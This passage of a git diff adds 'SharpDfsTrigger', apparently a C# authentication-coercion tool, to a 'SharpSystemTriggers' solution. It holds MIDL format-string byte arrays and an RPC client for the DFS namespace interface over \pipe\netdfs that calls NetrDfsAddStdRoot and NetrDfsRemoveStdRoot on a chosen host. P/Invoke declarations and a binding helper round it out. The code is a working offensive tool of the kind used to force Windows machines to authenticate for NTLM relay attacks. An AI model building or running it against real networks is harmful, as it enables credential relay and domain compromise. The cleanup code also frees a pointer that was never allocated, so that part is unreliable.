0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x18, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x20, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x28, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x30, 0x00, 0x04, 0x00, 0x48, 0x00, 0x38, 0x00, 0x02, 0x00, 0x48, 0x00, 0x40, 0x00, 0x08, 0x00, 0x1b, 0x20, 0x48, 0x00, 0x3c, 0x05, 0x70, 0x00, 0x50, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x40, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x47, 0x07, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x18, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x20, 0x00, 0x04, 0x00, 0x48, 0x00, 0x28, 0x00, 0x08, 0x00, 0x1b, 0x20, 0x30, 0x00, 0x3c, 0x05, 0x70, 0x00, 0x38, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x30, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x05, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x18, 0x00, 0x04, 0x00, 0x48, 0x00, 0x20, 0x00, 0x08, 0x00, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x28, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x04, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x03, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x48, 0x00, 0x10, 0x00, 0x08, 0x00, 0x70, 0x00, 0x18, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x30, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x46, 0x05, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x18, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x20, 0x00, 0x04, 0x00, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x30, 0x00, 0x32, 0x00, 0x00, 0x00, 0x35, 0x00, 0x3d, 0x00, 0x47, 0x05, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x1b, 0x20, 0x10, 0x00, 0x74, 0x05, 0x58, 0x01, 0x18, 0x00, 0x02, 0x00, 0x58, 0x01, 0x20, 0x00, 0x08, 0x00, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x30, 0x00, 0x32, 0x00, 0x00, 0x00, 0x10, 0x00, 0x08, 0x00, 0x46, 0x05, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x48, 0x00, 0x20, 0x00, 0x08, 0x00, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x46, 0x03, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x70, 0x00, 0x18, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x48, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x47, 0x08, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x18, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x20, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x28, 0x00, 0x06, 0x00, 0x48, 0x00, 0x30, 0x00, 0x08, 0x00, 0x1b, 0x20, 0x38, 0x00, 0x3c, 0x05, 0x70, 0x00, 0x40, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x38, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x47, 0x06, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x18, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x20, 0x00, 0x06, 0x00, 0x1b, 0x20, 0x28, 0x00, 0x3c, 0x05, 0x70, 0x00, 0x30, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x15, 0x00, 0x38, 0x00, 0x32, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x48, 0x00, 0x10, 0x00, 0x08, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x1b, 0x00, 0x20, 0x00, 0x16, 0x03, 0x1a, 0x00, 0x28, 0x00, 0x38, 0x05, 0x70, 0x00, 0x30, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x48, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x47, 0x08, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x18, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x20, 0x00, 0x06, 0x00, 0x48, 0x00, 0x28, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x30, 0x00, 0x84, 0x05, 0x1b, 0x20, 0x38, 0x00, 0x3c, 0x05, 0x70, 0x00, 0x40, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x17, 0x00, 0x40, 0x00, 0x32, 0x00, 0x00, 0x00, 0x15, 0x00, 0x08, 0x00, 0x46, 0x07, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x0b, 0x00, 0x20, 0x00, 0x06, 0x00, 0x48, 0x00, 0x28, 0x00, 0x02, 0x00, 0x48, 0x00, 0x30, 0x00, 0x08, 0x00, 0x70, 0x00, 0x38, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x28, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x04, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x28, 0x00, 0x32, 0x00, 0x00, 0x00, 0x06, 0x00, 0x4c, 0x00, 0x46, 0x04, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x08, 0x00, 0x0d, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x12, 0x81, 0x18, 0x00, 0x92, 0x05, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00 }; + private Guid interfaceId; + + + [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] + public dfs() + { + interfaceId = new Guid("4FC742E0-4A10-11CF-8273-00AA004AE673"); + + if (IntPtr.Size == 8) + { + InitializeStub(interfaceId, MIDL_ProcFormatStringx64, MIDL_TypeFormatStringx64, "\\pipe\\netdfs", 3, 0); + } + else + { + InitializeStub(interfaceId, MIDL_ProcFormatStringx86, MIDL_TypeFormatStringx86, "\\pipe\\netdfs", 3, 0); + } + + + } + + ~dfs() + { + freeStub(); + } + + public int NetrDfsAddStdRoot(string computerName, string serverName, string rootShare, string comment, int Flags) + { + IntPtr result = IntPtr.Zero; + IntPtr serverNamePointer = Marshal.StringToHGlobalUni(serverName); + IntPtr rootSharePointer = Marshal.StringToHGlobalUni(rootShare); + IntPtr commentPointer = Marshal.StringToHGlobalUni(comment); + IntPtr flagsPointer = new IntPtr(Flags); + + try + { + + + if (IntPtr.Size == 8) + { + result = NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(654), Bind(Marshal.StringToHGlobalUni(computerName), interfaceid: interfaceId.ToString()), serverName, rootShare, comment, Flags); + + } + + else + { + IntPtr tempValue = IntPtr.Zero; + GCHandle handle = GCHandle.Alloc(tempValue, GCHandleType.Pinned); + IntPtr tempValuePointer = handle.AddrOfPinnedObject(); + + try + { + result = CallNdrClientCall2x86(630, Bind(Marshal.StringToHGlobalUni(computerName), interfaceid: interfaceId.ToString()), serverNamePointer, rootSharePointer, commentPointer, IntPtr.Zero); + } + finally + { + handle.Free(); + } + } + + } + catch (SEHException) + { + int err = Marshal.GetExceptionCode(); + Console.WriteLine("[x]NetrDfsAddStdRoot failed: " + err); + return err; + } + finally + { + if (serverNamePointer != IntPtr.Zero || rootSharePointer != IntPtr.Zero) + { + Marshal.FreeHGlobal(serverNamePointer); + Marshal.FreeHGlobal(rootSharePointer); + Marshal.FreeHGlobal(flagsPointer); + + } + } + return (int)result.ToInt64(); + + } + + public int NetrDfsRemoveStdRoot(string computerName, string serverName, string rootShare, int Flags) + { + IntPtr result = IntPtr.Zero; + IntPtr serverNamePointer = Marshal.StringToHGlobalUni(serverName); + IntPtr rootSharePointer = Marshal.StringToHGlobalUni(rootShare); + IntPtr flagsPointer = new IntPtr(Flags); + + try + { + + + if (IntPtr.Size == 8) + { + result = NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(714), Bind(Marshal.StringToHGlobalUni(computerName), interfaceid: interfaceId.ToString()), serverName, rootShare, Flags); + + } + + else + { + IntPtr tempValue = IntPtr.Zero; + GCHandle handle = GCHandle.Alloc(tempValue, GCHandleType.Pinned); + IntPtr tempValuePointer = handle.AddrOfPinnedObject(); + + try + { + result = CallNdrClientCall2x86(688, Bind(Marshal.StringToHGlobalUni(computerName), interfaceid: interfaceId.ToString()), serverNamePointer, rootSharePointer, IntPtr.Zero); + // each pinvoke work on a copy of the arguments (without an out specifier) + // get back the data + } + finally + { + handle.Free(); + } + } + + } + catch (SEHException) + { + + int err = Marshal.GetExceptionCode(); + Console.WriteLine("[x]NetrDfsAddStdRoot failed: " + err); + return err; + } + finally + { + if (serverNamePointer != IntPtr.Zero || rootSharePointer != IntPtr.Zero) + { + Marshal.FreeHGlobal(serverNamePointer); + Marshal.FreeHGlobal(rootSharePointer); + Marshal.FreeHGlobal(flagsPointer); + + } + } + return (int)result.ToInt64(); + + } + } +} diff --git a/SharpDfsTrigger/nativemethods.cs b/SharpDfsTrigger/nativemethods.cs new file mode 100644 index 0000000..cd51504 --- /dev/null +++ b/SharpDfsTrigger/nativemethods.cs @@ -0,0 +1,205 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Runtime.InteropServices; +namespace SharpDfsTrigger +{ + public class NativeMethods + { + + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding); + + [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, string serverName, string rootShare, int Flags); + + [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, string serverName, string rootShare, string comment, int Flags); + + [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern IntPtr NdrClientCall2x86(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr args); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern Int32 RpcBindingFree(ref IntPtr lpString); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern Int32 RpcStringBindingCompose(String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options, out IntPtr lpBindingString); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)] + internal static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoExW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern Int32 RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, ref SEC_WINNT_AUTH_IDENTITY AuthIdentity, UInt32 AuthzSvc, ref RPC_SECURITY_QOS SecurityQOS); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern Int32 RpcBindingSetAuthInfo(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr AuthIdentity, UInt32 AuthzSvc); + + [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, out IntPtr hContext, string FileName, int Flags); + + [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, string FileName, out IntPtr efsObject); + + [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, string FileName); + + [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] + internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, string FileName, ulong Flags); + + + //structs + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + internal struct SEC_WINNT_AUTH_IDENTITY + { + [MarshalAs(UnmanagedType.LPWStr)] + public string User; + + public int UserLength; + + [MarshalAs(UnmanagedType.LPWStr)] + public string Domain; + + public int DomainLength; + + [MarshalAs(UnmanagedType.LPWStr)] + public string Password; + + public int PasswordLength; + public int Flags; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct RPC_SECURITY_QOS + { + public Int32 Version; + public Int32 Capabilities; + public Int32 IdentityTracking; + public Int32 ImpersonationType; + }; + + [StructLayout(LayoutKind.Sequential)] + internal struct COMM_FAULT_OFFSETS + { + public short CommOffset; + public short FaultOffset; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_VERSION + { + public ushort MajorVersion; + public ushort MinorVersion; + + public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) + { + MajorVersion = InterfaceVersionMajor; + MinorVersion = InterfaceVersionMinor; + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_SYNTAX_IDENTIFIER + { + public Guid SyntaxGUID; + public RPC_VERSION SyntaxVersion; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_CLIENT_INTERFACE + { + public uint Length; + public RPC_SYNTAX_IDENTIFIER InterfaceId; + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable; + public uint RpcProtseqEndpointCount; + public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint; + public IntPtr Reserved; + public IntPtr InterpreterInfo; + public uint Flags; + + public static Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60); + + public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) + { + Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE)); + RPC_VERSION rpcVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor); + InterfaceId = new RPC_SYNTAX_IDENTIFIER(); + InterfaceId.SyntaxGUID = iid; + InterfaceId.SyntaxVersion = rpcVersion; + rpcVersion = new RPC_VERSION(2, 0); + TransferSyntax = new RPC_SYNTAX_IDENTIFIER(); + TransferSyntax.SyntaxGUID = IID_SYNTAX; + TransferSyntax.SyntaxVersion = rpcVersion; + DispatchTable = IntPtr.Zero; + RpcProtseqEndpointCount = 0u; + RpcProtseqEndpoint = IntPtr.Zero; + Reserved = IntPtr.Zero; + InterpreterInfo = IntPtr.Zero; + Flags = 0u; + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MIDL_STUB_DESC + { + public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation; + public IntPtr pfnAllocate; + public IntPtr pfnFree; + public IntPtr pAutoBindHandle; + public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines; + public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs; + public IntPtr /*EXPR_EVAL*/ apfnExprEval; + public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple; + public IntPtr pFormatTypes; + public int fCheckBounds; + /* Ndr library version. */ + public uint Version; + public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct; + public int MIDLVersion; + public IntPtr CommFaultOffsets; + + // New fields for version 3.0+ + public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple; + + // Notify routines - added for NT5, MIDL 5.0 + public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable; + + public IntPtr mFlags; + + // International support routines - added for 64bit post NT5 + public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables; + + public IntPtr ProxyServerInfo; + public IntPtr /*NDR_EXPR_DESC*/ pExprInfo; + // Fields up to now present in win2000 release. + + public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr, + IntPtr pfnAllocatePtr, IntPtr pfnFreePtr) + { + pFormatTypes = pFormatTypesPtr; + RpcInterfaceInformation = RpcInterfaceInformationPtr; + CommFaultOffsets = IntPtr.Zero; + pfnAllocate = pfnAllocatePtr; + pfnFree = pfnFreePtr; + pAutoBindHandle = IntPtr.Zero; + apfnNdrRundownRoutines = IntPtr.Zero; + aGenericBindingRoutinePairs = IntPtr.Zero; + apfnExprEval = IntPtr.Zero; + aXmitQuintuple = IntPtr.Zero; + fCheckBounds = 1; + Version = 0x50002u; + pMallocFreeStruct = IntPtr.Zero; + MIDLVersion = 0x801026e; + aUserMarshalQuadruple = IntPtr.Zero; + NotifyRoutineTable = IntPtr.Zero; + mFlags = new IntPtr(0x00000001); + CsRoutineTables = IntPtr.Zero; + ProxyServerInfo = IntPtr.Zero; + pExprInfo = IntPtr.Zero; + } + } + } +} diff --git a/SharpDfsTrigger/rpcapi.cs b/SharpDfsTrigger/rpcapi.cs new file mode 100644 index 0000000..dd55e34 --- /dev/null +++ b/SharpDfsTrigger/rpcapi.cs @@ -0,0 +1,127 @@ +using System; +using System.Runtime.InteropServices; +using static SharpDfsTrigger.NativeMethods; + +namespace SharpDfsTrigger +{ + + public abstract class dfsapi + { + private byte[] MIDL_ProcFormatString; + + private byte[] MIDL_TypeFormatString; + private GCHandle procString; + private GCHandle formatString; + private GCHandle stub; + private GCHandle faultoffsets; + private GCHandle clientinterface; + private string PipeName; + + private allocmemory AllocateMemoryDelegate = AllocateMemory; + private freememory FreeMemoryDelegate = FreeMemory; + + public UInt32 RPCTimeOut = 15000; + + protected void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, string pipe, ushort MajorVerson, ushort MinorVersion) + { + this.MIDL_ProcFormatString = MIDL_ProcFormatString; + this.MIDL_TypeFormatString = MIDL_TypeFormatString; + PipeName = pipe; + procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned); + + RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion); + + COMM_FAULT_OFFSETS commFaultOffset = new COMM_FAULT_OFFSETS(); + commFaultOffset.CommOffset = -1; + commFaultOffset.FaultOffset = -1; + faultoffsets = GCHandle.Alloc(commFaultOffset, GCHandleType.Pinned); + clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned); + formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned); + + MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(), + clientinterface.AddrOfPinnedObject(), + Marshal.GetFunctionPointerForDelegate(AllocateMemoryDelegate), + Marshal.GetFunctionPointerForDelegate(FreeMemoryDelegate)); + + stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned); + } + + protected void freeStub() + { + procString.Free(); + faultoffsets.Free(); + clientinterface.Free(); + formatString.Free(); + stub.Free(); + } + + private delegate IntPtr allocmemory(int size); + + protected static IntPtr AllocateMemory(int size) + { + IntPtr memory = Marshal.AllocHGlobal(size); + return memory; + } + + private delegate void freememory(IntPtr memory); + + protected static void FreeMemory(IntPtr memory) + { + Marshal.FreeHGlobal(memory); + } + + //https://github.com/vletoux/pingcastle/blob/19a3890b214bff7cb66b08c55bb4983ca21c8bd1/RPC/rpcapi.cs#L224 + protected IntPtr Bind(IntPtr IntPtrserver, bool UseNullSession = false, string interfaceid = null) + { + string server = Marshal.PtrToStringUni(IntPtrserver); + IntPtr bindingstring = IntPtr.Zero; + IntPtr binding = IntPtr.Zero; + Int32 status; + + status = RpcStringBindingCompose(interfaceid, "ncacn_np", server, PipeName, null, out bindingstring); + if (status != 0) + { + Console.WriteLine("[x]RpcStringBindingCompose failed with status 0x" + status.ToString("x")); + return IntPtr.Zero; + } + + status = RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding); + RpcBindingFree(ref bindingstring); + if (status != 0) + { + Console.WriteLine("[x]RpcBindingFromStringBinding failed with status 0x" + status.ToString("x")); + return IntPtr.Zero; + } + + Console.WriteLine("[!]binding ok (handle=" + binding.ToString("x") + ")"); + + return binding; + } + + protected IntPtr GetProcStringHandle(int offset) + { + return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatString, offset); + } + + protected IntPtr GetStubHandle() + { + return stub.AddrOfPinnedObject(); + } + + protected IntPtr CallNdrClientCall2x86(int offset, params IntPtr[] args) + { + GCHandle stackhandle = GCHandle.Alloc(args, GCHandleType.Pinned); + IntPtr result; + try + { + result = NdrClientCall2x86(GetStubHandle(), GetProcStringHandle(offset), stackhandle.AddrOfPinnedObject()); + } + finally + { + stackhandle.Free(); + } + return result; + } + } + } + diff --git a/SharpSystemTriggers.sln b/SharpSystemTriggers.sln index d3f4d54..f093a12 100644 --- a/SharpSystemTriggers.sln +++ b/SharpSystemTriggers.sln @@ -11,6 +11,8 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpEfsTrigger", "SharpEfs EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSpoolTrigger", "SharpSpoolTrigger\SharpSpoolTrigger.csproj", "{4EBB2ECA-4D57-4A89-BDC7-236F60B91EFE}" EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpDfsTrigger", "SharpDfsTrigger\SharpDfsTrigger.csproj", "{357B2AB9-D212-48C8-97C1-295226922033}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -33,6 +35,10 @@ Global {4EBB2ECA-4D57-4A89-BDC7-236F60B91EFE}.Debug|Any CPU.Build.0 = Debug|Any CPU {4EBB2ECA-4D57-4A89-BDC7-236F60B91EFE}.Release|Any CPU.ActiveCfg = Release|Any CPU {4EBB2ECA-4D57-4A89-BDC7-236F60B91EFE}.Release|Any CPU.Build.0 = Release|Any CPU + {357B2AB9-D212-48C8-97C1-295226922033}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {357B2AB9-D212-48C8-97C1-295226922033}.Debug|Any CPU.Build.0 = Debug|Any CPU + {357B2AB9-D212-48C8-97C1-295226922033}.Release|Any CPU.ActiveCfg = Release|Any CPU + {357B2AB9-D212-48C8-97C1-295226922033}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE